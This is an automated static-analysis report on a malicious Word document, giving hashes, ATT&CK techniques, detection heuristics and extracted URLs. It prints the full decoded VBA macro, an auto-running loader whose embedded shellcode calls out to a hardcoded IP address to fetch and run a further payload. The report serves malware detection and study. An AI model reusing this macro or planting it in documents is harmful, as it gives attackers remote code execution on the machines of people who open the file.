Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 24eb1d2427c21fc7…

MALICIOUS

Office (OOXML)

116.6 KB Created: 2013-07-24 03:46:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-30
MD5: 8838b50757c6337850867b4ad6545b80 SHA-1: 4b97219fee5794442dc0c2ed4abb2ba45e1956f0 SHA-256: 24eb1d2427c21fc7640ac4f0592094a740575e38fcd63fad525f0e23fa04488c
194 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is a malicious OOXML document containing VBA macros. The 'SE_CALLBACK_LURE' heuristic indicates the document prompts the user to call a phone number, a common tactic for callback phishing or tech-support scams. The presence of VBA macros, specifically an Auto_Open macro, suggests the document is designed to execute malicious code upon opening. ClamAV detection further confirms its malicious nature, identifying it as 'Doc.Dropper.Valyria-6680543-0'.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Callback phishing phone lure medium SE_CALLBACK_LURE
    Document asks the user to call a phone number in billing, refund, subscription, fraud, or security context — consistent with callback phishing or tech-support scam patterns. Suppressed for legitimate-issuer (IRS/gov/official-form) documents that carry no urgency or charge/dispute escalation.
  • External hyperlinks (35) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 35 external hyperlinks — clickable URLs are stored as external relationships. First target: file:///C:\Users\bharathr\Documents\O365 TPM\My Project Folders\Risk Management\Security\Whitepaper\Office 365 Security White Paper.docx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://trustoffice365.com/ Document hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasDocument hyperlink
    • http://schemas.openxmlformats.org/markup-compatibility/2006Document hyperlink
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsDocument hyperlink
    • http://schemas.openxmlformats.org/officeDocument/2006/mathDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingDocument hyperlink
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingDocument hyperlink
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkDocument hyperlink
    • http://schemas.microsoft.com/office/word/2006/wordmlDocument hyperlink
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeDocument hyperlink
    • http://www.microsoft.com/security/sdl/default.aspxDocument hyperlink
    • http://blogs.technet.com/b/perryclarke/archive/2012/05/16/managing-access-to-the-exchange-online-service.aspxDocument hyperlink
    • https://cloudsecurityalliance.org/star-registrant/microsoft-office-365/Document hyperlink
    • https://cloudsecurityalliance.org/research/projects/cloud-controls-matrix-ccm/Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3603 bytes
SHA-256: ac73ccdfc435512d6e36046b234eb043a2da9e470f1015b7541b0109f5535041
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eddxgxft As Long, ByVal Rvmov As Long, ByVal Fsfdabhyy As LongPtr, Ioz As Long, ByVal Xvlqb As Long, Wcjegd As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Nfsvlfja As Long, ByVal Iblr As Long, ByVal Rlizr As Long, ByVal Yilgvf As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Mtratphrc As LongPtr, ByRef Oproh As Any, ByVal Knsfc As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Eddxgxft As Long, ByVal Rvmov As Long, ByVal Fsfdabhyy As Long, Ioz As Long, ByVal Xvlqb As Long, Wcjegd As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Nfsvlfja As Long, ByVal Iblr As Long, ByVal Rlizr As Long, ByVal Yilgvf As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Mtratphrc As Long, ByRef Oproh As Any, ByVal Knsfc As Long) As Long
#End If

Sub Auto_Open()
    Dim Pcnsselqg As Long, Pslehpv As Variant, Zlgmefiw As Long
#If VBA7 Then
    Dim Ymwcqbqw As LongPtr, Dsmc As LongPtr
#Else
    Dim Ymwcqbqw As Long, Dsmc As Long
#End If
    Pslehpv = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 95, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 187, 1, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 72, 89, 49, 210, 82, 104, 0, 50, 160, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 104, 128, 51, 0, 0, 137, 224, 106, 4, _
80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 213, 235, 73, 232, 179, 255, 255, _
255, 47, 71, 56, 118, 103, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 81, 255, 255, 255, 49, 57, 50, 46, 49, 54, _
56, 46, 50, 51, 51, 46, 49, 50, 55, 0)
    Ymwcqbqw = VirtualAlloc(0, UBound(Pslehpv), &H1000, &H40)
    For Zlgmefiw = LBound(Pslehpv) To UBound(Pslehpv)
        Pcnsselqg = Pslehpv(Zlgmefiw)
        Dsmc = RtlMoveMemory(Ymwcqbqw + Zlgmefiw, Pcnsselqg, 1)
    Next Zlgmefiw
    Dsmc = CreateThread(0, 0, Ymwcqbqw, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: f0fbb30d5c36b0b9daa9d0b6be9f1d8534c937f04cdfb9d8582e0e4612b03803
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.